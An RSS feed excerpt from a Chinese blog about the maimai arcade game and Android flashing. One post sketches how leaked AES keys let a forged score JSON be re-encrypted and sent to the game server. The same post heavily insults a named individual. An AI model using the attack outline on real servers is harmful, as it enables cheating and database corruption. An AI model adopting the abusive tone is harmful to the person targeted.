&lt;li&gt;点击重启，选择&lt;strong&gt;重启到fastboot&lt;/strong&gt;，成功后您会看到TWRP的页面，但是上面确实在跑fastboot，而不是我们平时所见到的Android小机器人或者fastboot LOGO&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. 通过fastboot刷入gsi&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;确保您已安装了adb驱动并添加了全局变量，打开终端或PowerShell，输入&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;fastboot devices
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果显示了您的设备，则可以进行下一步刷机。否则您可能需要排除驱动/数据线/手机/接口等问题&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;接下来输入以下命令并回车&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;fastboot flash system &quot;D:/S20/evolution.img&quot;
// 请根据您的实际目录自行调整
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./asset/evolution.png&quot; alt=&quot;Flashing evolution X&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;显示&lt;code&gt;[ok]&lt;/code&gt;后即为完成，此时我们输入&lt;code&gt;fastboot reboot&lt;/code&gt;即可重启手机，耐心等待进入系统即可&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;4. &amp;lt;可选&amp;gt; 刷入Kernel SU NEXT&lt;/h2&gt;
&lt;p&gt;Chongxi这里只找到了适用于sdm-x1q的ksun内核，故以此为演示，因为G9810非GKI内核，而Chongxi并没有编译内核的相关经验。如果您是相关领域大牛，欢迎在discussion中附上您的ksu内核链接&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;按照相同步骤重启进Download模式&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;AP&lt;/code&gt;槽位选择kSUN内核，&lt;code&gt;USERDATA&lt;/code&gt;依旧选择vbm禁用器，点击刷入即可&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;重启，安装ksun管理器，然后enjoy~&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;5. 结&lt;/h2&gt;
&lt;p&gt;理论上来讲，刷gsi适用于全部Android机型，但又不适用，很看运气的一个东西&lt;/p&gt;
&lt;p&gt;此次刷入的这个gsi又刚好无任何恶性bug，有一些自动亮度一类的问题都可以通过自带的&lt;code&gt;Phh Settings&lt;/code&gt;进行修补，非常接近定制ROM的体验了&lt;/p&gt;
&lt;h2&gt;6. 买家秀&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./asset/1.png&quot; alt=&quot;screenshot-on-evolutionX1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/2.png&quot; alt=&quot;screenshot-on-evolutionX2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/3.png&quot; alt=&quot;screenshot-on-evolutionX3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/4.png&quot; alt=&quot;screenshot-on-evolutionX4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/5.png&quot; alt=&quot;screenshot-on-evolutionX5&quot; /&gt;&lt;/p&gt;
</content:encoded><category>Samsung</category><category>Android</category><author>Chongxi</author></item><item><title>关于熊谷凌“Feistel加密方案”的智力缺陷鉴定</title><link>https://xice.cx/posts/retard/</link><guid isPermaLink="true">https://xice.cx/posts/retard/</guid><description>本文严肃分析了熊谷凌的舞萌加密增强方案</description><pubDate>Sun, 28 Dec 2025 23:49:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;简直是送命题&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;1. 给裸奔的白皇帝穿防弹背心&lt;/h2&gt;
&lt;p&gt;你是不是忘了大家是怎么把舞萌服务器底裤扒下来的？&lt;/p&gt;
&lt;p&gt;现在的现状是：传输层的 AES Key 和 IV 被全世界知道。ttnk 知道，你也知道，路边的科技脚本小子都知道，所有流量在攻击者眼里都是明文透明的&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;你的天才方案是什么？&lt;/strong&gt;
你建议在透明的玻璃房里，把 UserID 锁进一个带密码的 Feistel 小盒子里&lt;/p&gt;
&lt;p&gt;但是&lt;br /&gt;
攻击者手里拿着 AES 钥匙，他不需要破解你的 Feistel&lt;br /&gt;
他只需要截获一次合法的包，拿到那个被你混淆过的 &lt;code&gt;0xDEADBEEF&lt;/code&gt;，然后构造一个 JSON：
&lt;code&gt;{ &quot;userId&quot;: &quot;0xDEADBEEF&quot;, &quot;score&quot;: 114514 }&lt;/code&gt;再用手里的 AES Key 加密发出去&lt;/p&gt;
&lt;p&gt;服务器会乖乖解密 AES，然后把你那个量子加密的 ID 逆运算回去，最后把脏数据写进数据库&lt;br /&gt;
除了浪费服务器 CPU 跑 10 轮 SHA-256，你防住了个寂寞&lt;/p&gt;
&lt;p&gt;大门都不关，你给卧室装了个视网膜扫描锁，然后把视网膜数据贴在客厅墙上&lt;/p&gt;
&lt;h2&gt;2. 你是想让服务器午夜定时炸服？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;“利用当日的日期... 生成 tweak... 每天变一次。”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;写出这句话的时候自己笑了没&lt;br /&gt;
你知不知道舞萌的 AimeDB 和 TitleServer 是分离的？&lt;/p&gt;
&lt;p&gt;举个例子
玩家在 23:59:59 连上 AimeDB，拿到了用昨天的密钥加密的数据&lt;br /&gt;
然后在 00:00:01 连上 TitleServer，服务器切到了今天的密钥&lt;/p&gt;
&lt;p&gt;然后直接炸，解密失败，或者解密出一个完全不相干的 ID ，直接把数据库写出一堆乱码&lt;/p&gt;
&lt;p&gt;你是嫌服务器炸得不够快，特意设计了一个零点虫？
在分离的架构里搞这种强时间依赖的密钥同步，除了没考虑过上下文的 AI，没人敢这么设计。哪怕差 1 毫秒，玩家的数据就火葬场了&lt;/p&gt;
&lt;h2&gt;3. 舞萌客户端是你家后院的 Python 脚本吗？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;“机台侧无需进行任何解密，可以直接...用于请求。”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;你以为 SEGA 的机台代码是 JS 写的？&lt;code&gt;var id = anything&lt;/code&gt;？&lt;br /&gt;
那是跑在 Windows 上的屎山代码&lt;/p&gt;
&lt;p&gt;那些代码里大概率写死了 &lt;code&gt;int32&lt;/code&gt;，甚至还有各种 &lt;code&gt;assert(id &amp;gt; 0)&lt;/code&gt; 的校验 &lt;em&gt;猜测，本人没逆向过app，有误欢迎大手子指出&lt;/em&gt;
你那个 Feistel 算法算出来的结果，是个伪随机数&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果是负数怎么办？&lt;/li&gt;
&lt;li&gt;如果溢出了怎么办？&lt;/li&gt;
&lt;li&gt;如果正好撞上了客户端内部保留的 Debug ID 怎么办？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;结果就是机台当场崩溃0010&lt;br /&gt;
你说“无需变更”，是因为你根本不懂强类型语言和遗留代码。你只管 AI 生成代码爽不爽，不管机台死不死&lt;/p&gt;
&lt;h2&gt;4. 溢出屏幕的AI味&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;master_key&lt;/code&gt;, &lt;code&gt;tweak&lt;/code&gt;, &lt;code&gt;PRF16&lt;/code&gt;, &lt;code&gt;current_round&lt;/code&gt;...
这一套变量命名，哥们你是改都不改&lt;br /&gt;
这就是你在 ChatGPT 对话框里输入：&lt;em&gt;“怎么设计世界上最强加密算法”&lt;/em&gt; 之后，它吐给你的标准教科书伪代码&lt;/p&gt;
&lt;p&gt;你连改都不改一下，直接贴进给 SEGA 的信里？&lt;br /&gt;
你把《现代密码学导论》的课后习题答案 当成 企业级解决方案？&lt;br /&gt;
SEGA 的工程师如果看到这段代码，估计会以为是哪个刚学 Python 的小孩在发癫&lt;/p&gt;
&lt;p&gt;你连装逼都懒得自己动脑子，全靠 GPT 给你代笔&lt;/p&gt;
&lt;h2&gt;5. 叙利亚自爆卡车之自己暴露智力水平&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;劫持我的 5G 流量？给我手机注入 CA 证书？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;你是不是黑客帝国看多了&lt;br /&gt;
开源科技的那破py脚本就是恶意客户端&lt;br /&gt;
谁有闲工夫去劫持你那破手机？攻击者是直接写了个 Python 脚本，用他手里那把硬编码的 AES 万能钥匙，堂而皇之地走进舞萌的服务器大门&lt;br /&gt;
HTTPS 是用来防止路人甲偷看信件内容的，不是用来防止写信人自己往信里下毒的&lt;br /&gt;
你连这个最基本的端点安全概念都搞不明白，还敢自称“后端开发者”？你开发的是哪个粪坑的后端？&lt;/p&gt;
&lt;h2&gt;6. 你能不能把你那破“Feistel算法”忘掉&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;为什么 AES key 知道 IV 知道 = 流量透明&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这是我在26年前听到最蠢的笑话&lt;br /&gt;
你的意思是，一个自称「米其林大厨」提问我，为什么水烧开了会烫手？&lt;br /&gt;
AES Key 都泄露成公共厕所了，传输层就是个透明的玻璃管&lt;br /&gt;
你还搁那给里面的 UserID 搞 Feistel 加密？&lt;br /&gt;
攻击者需要破解你的 Feistel？ 他用得着吗？&lt;br /&gt;
他直接抓一个合法的加密 ID，然后把它塞进一个写满了垃圾数据的新 JSON Body 里，再用你那把公开的 AES Key 重新加密一下发出去&lt;br /&gt;
服务器收到后会怎么样？服务器会像个傻逼一样先解开 AES，然后把你那个狗屁不通的 Feistel 逆向解出来，最后开开心心地把垃圾数据写进数据库&lt;br /&gt;
你这套操作除了浪费服务器的 CPU 算力，还有任何一丝一毫的用处吗？用加密算法搞行为艺术&lt;/p&gt;
&lt;p&gt;任何一个稍微懂一点密码学的人，都不会问出“为什么知道了对称密钥就能解密”这种问题&lt;br /&gt;
这只能说明，你写的那些关于 Feistel、HMAC 的东西，百分之一万是你根本看不懂的、从 AI 那里抄来的垃圾&lt;/p&gt;
&lt;h2&gt;7. 自己承认自己就是GPT传话筒&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;算法一开始是我手写，后来因为有问题用 ChatGPT 改了...”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这话你自己说出来不觉得丢人吗？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;“手写有问题” -&amp;gt; 证明你连个基础的密码学轮子都搓不明白&lt;/li&gt;
&lt;li&gt;“用 ChatGPT 改了” -&amp;gt; 证明这个方案的核心逻辑是你抄 AI 的&lt;/li&gt;
&lt;li&gt;“变量名没改” -&amp;gt; 证明你连抄都抄不明白，AI 吐给你什么屎，你就往上端什么屎&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;你把一堆从教科书里抄来的、连你自己都跑不通的垃圾伪代码，当成拯救世界的灵丹妙药？
SEGA 的工程师如果看到这段代码，会直接把你拉进招聘黑名单，因为他们知道，雇一个只会让 AI 写代码的蠢货，比服务器被攻击还可怕&lt;/p&gt;
&lt;p&gt;既然你渴望转发，那就成全你，让大家都认识认识这位连《计算机网络：自顶向下方法》的intro都看不懂的自命不凡的蠢货，欢迎你对我的技术批判指出疏漏，乐意奉陪&lt;/p&gt;
&lt;h2&gt;8. 结&lt;/h2&gt;
&lt;p&gt;哥们真不想捶你，但你拿着 vibe 出来的产物到处跳脸开大就是对绝大多数负责人的计科从业者的侮辱&lt;/p&gt;
&lt;p&gt;你就是一个拿着从垃圾堆里捡来的钥匙，进屋偷了点东西，然后就开始幻想要教屋主怎么装修的脚本小子&lt;/p&gt;
&lt;p&gt;你的方案，既不懂传输层安全，也不懂分布一致性，更不懂兼容性&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;它唯一的用处，就是证明了 2025 年的 AI 技术还是没法治好人类的脑萎缩。&lt;/strong&gt;
别混计算机科学了，去拧螺丝吧，那个不需要逻辑，只需要力气&lt;/p&gt;
&lt;p&gt;另外，感谢各位并肩作战的同志，谢谢你们一路以来的支持与陪伴以及对游戏环境的重视，预祝各位新年快乐～&lt;/p&gt;
</content:encoded><category>maimai</category><author>Chongxi</author></item><item><title>如何给你的bot添加华立服务器状态检测</title><link>https://xice.cx/posts/isMaiDown/</link><guid isPermaLink="true">https://xice.cx/posts/isMaiDown/</guid><description>本文提供了给bot添加华立服务器检测方法</description><pubDate>Wed, 24 Dec 2025 21:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;NoneBot Plugin: Maimai Monitor&lt;/h2&gt;
&lt;p&gt;一个为 &lt;a href=&quot;https://nonebot.dev/&quot;&gt;NoneBot2&lt;/a&gt; 框架设计的插件，用于通过聊天指令上报 maimai 服务器状态&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;ChongxiSama/nonebot-plugin-maimaimonitor&quot;}&lt;/p&gt;
&lt;h2&gt;功能&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[x] 状态上报: 通过简单的聊天指令（如 &lt;code&gt;/report 断网&lt;/code&gt;）上报服务器状态&lt;/li&gt;
&lt;li&gt;[x] 数据聚合: 自动缓存用户上报数据，每 30 秒打包发送至后端 API&lt;/li&gt;
&lt;li&gt;[x] 自定义命令别名: 允许用户在配置中定义简洁的命令别名 映射到复杂的报告指令&lt;/li&gt;
&lt;li&gt;[ ] 直接抓取页面并渲染&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;安装&lt;/h2&gt;
&lt;p&gt;你可以通过 NoneBot 的脚手架工具 &lt;code&gt;nb-cli&lt;/code&gt; 安装：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nb plugin install nonebot-plugin-maimaimonitor
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者通过 &lt;code&gt;pip&lt;/code&gt; 安装：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install nonebot-plugin-maimaimonitor
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;配置&lt;/h2&gt;
&lt;p&gt;插件的配置项通过 NoneBot 的统一配置方式进行管理，你需要在你的 NoneBot 项目根目录下的 &lt;code&gt;.env&lt;/code&gt; 文件中设置&lt;/p&gt;
&lt;h3&gt;获取凭证&lt;/h3&gt;
&lt;p&gt;为了向后端 API 发送数据，你需要一个 &lt;code&gt;ClientID&lt;/code&gt; 和 &lt;code&gt;PRIVATE_KEY&lt;/code&gt;。请联系 email:qwq@chongxi.us 获取。&lt;code&gt;ClientID&lt;/code&gt;由您提供，建议为数字&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;请妥善保管你的 &lt;code&gt;PRIVATE_KEY&lt;/code&gt;，不要泄露给任何人。&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;环境变量&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;环境变量&lt;/th&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;默认值&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MAIMAI_BOT_CLIENT_ID&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;str&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;ClientID (必要)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MAIMAI_BOT_PRIVATE_KEY&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;str&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;私钥 (必要)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MAIMAI_BOT_DISPLAY_NAME&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;str&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;qwq&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;您bot的名称&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MAIMAI_WORKER_URL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;str&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;https://maiapi.chongxi.us&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;上报数据后端的 API 地址&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;COMMAND_ALIASES&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Dict[str, str]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;自定义命令别名，用于将简洁命令映射到报告指令&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;&lt;code&gt;.env&lt;/code&gt; 配置文件示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# .env 文件 (位于你的 NoneBot 项目根目录)

# --- NoneBot Plugin Maimai Monitor 插件核心配置 ---
MAIMAI_BOT_CLIENT_ID=&quot;YOUR_BOT_CLIENT_ID&quot;
MAIMAI_BOT_PRIVATE_KEY=&quot;YOUR_BOT_PRIVATE_KEY&quot;
MAIMAI_BOT_DISPLAY_NAME=&quot;qwqbot&quot;
MAIMAI_WORKER_URL=&quot;https://maiapi.chongxi.us&quot;

# --- 自定义命令别名配置 (使用单行 JSON 字符串) ---
# 左边是用户输入的新命令，右边是它映射的内部报告指令参数字符串。
# 右边的字符串会被插件解析，并作为 /report 命令的参数部分。
COMMAND_ALIASES=&quot;{ \
    \&quot;ctk\&quot;: \&quot;被发票\&quot;, \
    \&quot;清票\&quot;: \&quot;被发票\&quot;, \
    \&quot;服务器炸了\&quot;: \&quot;断网\&quot;, \
    \&quot;打不开公众号\&quot;: \&quot;NET打不开\&quot;, \
    \&quot;变游客了\&quot;: \&quot;无法登录\&quot;, \
    \&quot;黑屋了\&quot;: \&quot;小黑屋\&quot;, \
    \&quot;被发舞神了\&quot;: \&quot;其他扫号行为\&quot;, \
    \&quot;罚站300秒\&quot;: \&quot;罚站 300\&quot;, \
    \&quot;罚站一小时\&quot;: \&quot;罚站 3600\&quot;, \
    \&quot;帮助\&quot;: \&quot;help\&quot; \
}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;使用&lt;/h2&gt;
&lt;p&gt;在你的 NoneBot 项目 &lt;code&gt;bot.py&lt;/code&gt; 文件中加载插件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# bot.py
import nonebot

# ... 其他初始化代码 ...

nonebot.load_plugin(&quot;nonebot_plugin_maimaimonitor&quot;)

# ... nonebot.run() ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;插件加载成功后，你可以在与机器人聊天的任何地方发送以下指令：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/report help&lt;/code&gt; 或 &lt;code&gt;/上报 帮助&lt;/code&gt;: 查看全部可用的上报类型和帮助信息&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用自定义命令别名&lt;/strong&gt;: 例如，如果你在 &lt;code&gt;COMMAND_ALIASES&lt;/code&gt; 中配置了 &lt;code&gt;&quot;ctk&quot;: &quot;被发票&quot;&lt;/code&gt;，那么直接发送 &lt;code&gt;ctk&lt;/code&gt; 即可触发 &lt;code&gt;/report 被发票&lt;/code&gt; 的功能&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;部分命令示例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/report 断网&lt;/code&gt; 或 配置的别名（如 &lt;code&gt;炸了&lt;/code&gt;）: 上报一次机台网络断开事件&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/report 罚站 [秒数]&lt;/code&gt; 或 配置的别名（如 &lt;code&gt;罚站五分钟&lt;/code&gt;）: 上报玩家罚站时长，例如 &lt;code&gt;/report 罚站 300&lt;/code&gt; 表示罚站 5 分钟&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;主动 Dashboard 渲染&lt;/h2&gt;
&lt;p&gt;未来将会支持直接将前端渲染为SVG并转化为图片，当前仍需要截取 &lt;code&gt;https://mai.chongxi.us/?share=true&amp;amp;dark=auto&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;share&lt;/code&gt; 为 bot 特殊优化的页面，&lt;code&gt;dark&lt;/code&gt; 用于切换深色模式，&lt;code&gt;auto&lt;/code&gt; 会自动根据时间切换。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./isMaiDown/1.jpg&quot; alt=&quot;eg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./isMaiDown/2.jpg&quot; alt=&quot;eg&quot; /&gt;&lt;/p&gt;
</content:encoded><category>bot</category><category>maimai</category><author>Chongxi</author></item><item><title>舞萌国服苏联笑话合订本 1</title><link>https://xice.cx/posts/surcas1/</link><guid isPermaLink="true">https://xice.cx/posts/surcas1/</guid><description>舞萌国服苏联笑话合订本</description><pubDate>Sun, 21 Dec 2025 00:46:00 GMT</pubDate><content:encoded>&lt;p&gt;本文是根据苏联笑话改写的舞萌笑话，随意转发二创，允许投稿到舞萌春晚等类似节目，但请标注作者和原文地址链接，感谢&lt;/p&gt;
&lt;h2&gt;1.&lt;/h2&gt;
&lt;p&gt;Kohad晚上做了一个噩梦 惊醒后冷汗直流&lt;br /&gt;
妻子问：怎么了？梦见舞萌停服了吗？
Kohad喘着气说：比那个更可怕 我梦见我们发布了一个新版本 直到正式上线的那一秒 居然没有任何人理科
妻子：那不是好事吗？说明保密工作成功了&lt;br /&gt;
Kohad绝望地说：不！这意味着根本没人再关心这游戏了！拆包的人都懒得拆了！&lt;/p&gt;
&lt;h2&gt;2.&lt;/h2&gt;
&lt;p&gt;有人问：舞萌国服的反作弊系统真的存在吗？&lt;br /&gt;
答：原则上是存在的 但这就好比地平线上的太阳 你看着它很亮 但你往它那跑 永远也跑不到它跟前 而且最重要的是 它对那些戴着墨镜的人来说 根本就不刺眼&lt;/p&gt;
&lt;h2&gt;3.&lt;/h2&gt;
&lt;p&gt;国服玩家提问：听说在新的版本中 将彻底根除外挂脚本的问题 这是真的吗&lt;br /&gt;
kohad：原则上是的 经过深入研究 我们决定采取最彻底的解决方案：我们将不再维护服务器 如果连不上网 脚本自然也就无法上传成绩了 这是反作弊斗争的伟大胜利&lt;/p&gt;
&lt;h2&gt;4.&lt;/h2&gt;
&lt;p&gt;著名的物理学家和Kohad探讨时间旅行的可能性&lt;br /&gt;
物理学家：理论上 没有任何信息能比光速更快&lt;br /&gt;
Kohad笑了：那您一定没见过我们的拆包大佬 在我们的公告发出之前（t=0）他们已经发布了资（t=-3days）这证明了在舞萌 因果律是不存在的 结果总是走在原因前面&lt;br /&gt;
物理学家：那有什么东西是比光速慢的吗？&lt;br /&gt;
Kohad指了指旁边的机房：有 我们的国服更新速度&lt;/p&gt;
&lt;h2&gt;5.&lt;/h2&gt;
&lt;p&gt;在一次党史课上 老师问学生：谁能解释一下 什么是SEGA的前瞻直播&lt;br /&gt;
学生答：这是一种集体主义的仪式 在这个仪式中 官方假装他们手里拿着绝密文件 而观众假装他们还没有在三天前的群文件里看过这些图片 双方通过这种心照不宣的虚伪 共同维护了社区的稳定与和谐&lt;br /&gt;
老师：坐下 满昏&lt;/p&gt;
&lt;h2&gt;6.&lt;/h2&gt;
&lt;p&gt;日服玩家问：舞萌国服的服务器真的那么烂吗？听说经常罚站&lt;br /&gt;
国服玩家答：不 那不是服务器在卡 那是服务器在思考&lt;br /&gt;
日服玩家：waht&lt;br /&gt;
国服玩家：它在思考 既然反正都有人会用脚本直接修改数据库 那它辛辛苦苦处理你的成绩到底还有什么意义&lt;/p&gt;
&lt;h2&gt;7.&lt;/h2&gt;
&lt;p&gt;SEGA内部讨论：理科和官方资讯到底有什么区别？&lt;br /&gt;
Kohad深沉地回答：原则上是一样的 区别仅在于时间 理科是我们还没来得及否认的真理 而官方资讯是我们已经无法否认的历史&lt;/p&gt;
&lt;h2&gt;8.&lt;/h2&gt;
&lt;p&gt;在国际街机运营商大会上 日本代表吹嘘道：我们的服务器延迟只有64ms&lt;br /&gt;
美国代表说：我们的服务器从不丢包&lt;br /&gt;
华立代表站起来 自豪地说：你们的那些都是飞舞 我们的服务器拥有人工智能般的自由意志&lt;br /&gt;
众人：何意味&lt;br /&gt;
华立代表：当玩家打出了一个发挥超常的成绩时 我们的服务器会自主决定断开连接 以此来维护数据库的纯洁性 虽然它目前还分不清哪个是大手子哪个是脚本 但这种宁可错杀一千 不可放过一个的精神 难道不值得敬佩吗？&lt;/p&gt;
&lt;h2&gt;9.&lt;/h2&gt;
&lt;p&gt;Kohad愤怒地召开紧急会议：谁能告诉我 为什么新版本的PV还没做完 网上就已经有高清资源了？到底是谁leak出去的？&lt;br /&gt;
有人小声嘀咕：我觉得不是泄露&lt;br /&gt;
Kohad：何意味&lt;br /&gt;
那人说：因为我们的外包美工发现 与其发给审核部门层层审批卡半个月 不如直接发到tg给小团体看 玩家的反馈修改意见比你们快多了&lt;/p&gt;
&lt;h2&gt;10.&lt;/h2&gt;
&lt;p&gt;老资历给新入坑的wmc传授：在舞萌国服 有三件事你绝对不能相信&lt;br /&gt;
小资历：哪三件？&lt;br /&gt;
老资历：第一 服务器维护完成&lt;br /&gt;
第二 外挂零容忍&lt;br /&gt;
第三 Kohad说 这是一个惊喜&lt;br /&gt;
小资历：为什么第三个也不能信？
老资历：因为当他在直播里说这句话的时候 你的群友早就把惊喜拆包发给你了&lt;/p&gt;
&lt;h2&gt;11.&lt;/h2&gt;
&lt;p&gt;上帝问Kohad：你有罪 你让玩家在断网中痛苦 在剧透中麻木 你有什么想辩解的吗&lt;br /&gt;
Kohad指着下面那群依然在排队投币的玩家说：主啊 请看 尽管服务器像土豆 尽管脚本满天飞 尽管毫无秘密可言 他们依然在充钱 依然在排队
上帝困惑：这说明了什么？&lt;br /&gt;
Kohad笑：这说明 这不叫烂 这叫对玩家忠诚度的极限压测 而我 通过了测试&lt;/p&gt;
&lt;h2&gt;12.&lt;/h2&gt;
&lt;p&gt;中情局抓获了一名潜伏在舞萌玩家群里的Sega staff 试图让他招供服务器的真实承载量&lt;br /&gt;
特工对他进行了种种酷刑 他都咬紧牙关 一言不发&lt;br /&gt;
最后 特工没办法 把一台舞萌推到他面前 说：如果你不说 我就让你连打十把白潘 但是我给你重装成国服 必须用微信二维码登录&lt;br /&gt;
staff当场崩溃大哭：我说！我都说！别让我扫那个二维码！被挂扫号之后永远都登不上了！&lt;/p&gt;
&lt;h2&gt;13. 宫崎英高版本&lt;/h2&gt;
&lt;p&gt;终于有一天 服务器奇迹般地顺畅了一整天 没有断网 没有罚站 二维码秒刷&lt;br /&gt;
玩家们感动得热泪盈眶 纷纷在群里发表情包&lt;br /&gt;
Kohad站在高处看着这一幕：&lt;br /&gt;
看 这就是我的设计意图&lt;br /&gt;
如果天天都顺畅他们会觉得理所当然&lt;br /&gt;
但在经历了364天的阴暗 潮湿和绝望后 这仅有的一天顺畅 就会让他们像索拉尔一样 发自内心地赞美太阳
只有巨大的痛苦 才能衬托出那微不足道的快乐是多么耀眼&lt;/p&gt;
&lt;h2&gt;14.&lt;/h2&gt;
&lt;p&gt;如果您有更好的内容，欢迎联系qwq@chongxi.us投稿，过审后将会在第二个合订集收录，感谢支持&lt;/p&gt;
</content:encoded><category>maimai</category><category>苏联笑话</category><author>Chongxi</author></item><item><title>如何使用水鱼/落雪查分器备份舞萌DX成绩</title><link>https://xice.cx/posts/backup/</link><guid isPermaLink="true">https://xice.cx/posts/backup/</guid><description>Blog 2025/11/04 重大更新日志</description><pubDate>Fri, 19 Dec 2025 23:21:22 GMT</pubDate><content:encoded>&lt;p&gt;成绩更新教程请看: &lt;a href=&quot;https://xice.cx/posts/2026/01/24/maiTool260124/&quot;&gt;舞萌DX水鱼查分/落雪查分成绩上传同步教程&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;你们是怎么做到让一个街机音游变成网络攻防的&lt;/h2&gt;
&lt;p&gt;首先是硬性要求，你需要之前在这两个查分器上同步过数据，这个我觉得大多数都可以满足这个条件&lt;/p&gt;
&lt;p&gt;:::red[注意]
&lt;strong&gt;不要相信来路不明的小众bot&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果你的查分器账号在退勤后同步过，那么现在你完全不需要再次同步&lt;/p&gt;
&lt;p&gt;如果你有一两个成绩没同步，没关系，如果你号被搞了可以在恢复备份的时候手动传上去，如果没被毁那很幸运了，恭喜&lt;/p&gt;
&lt;p&gt;&lt;em&gt;20日凌晨一点补充，后续会随时同步本文更新，留言反馈可以联系邮箱：qwq@chongxi.us&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;纠正错误内容：&lt;br /&gt;
如果你的水鱼登不上去，没关系，期间只要你不把分数同步水鱼查分器，你的号就是干净的，除非挂哥去把水鱼服务器也攻击掉&lt;/p&gt;
&lt;p&gt;不要恐慌，坐和放宽，大不了直接睡觉（，第二天早上备份水鱼也不迟，期间别同步分数到水鱼，你的水鱼账号就是安全的，你的成绩也是安全的&lt;/p&gt;
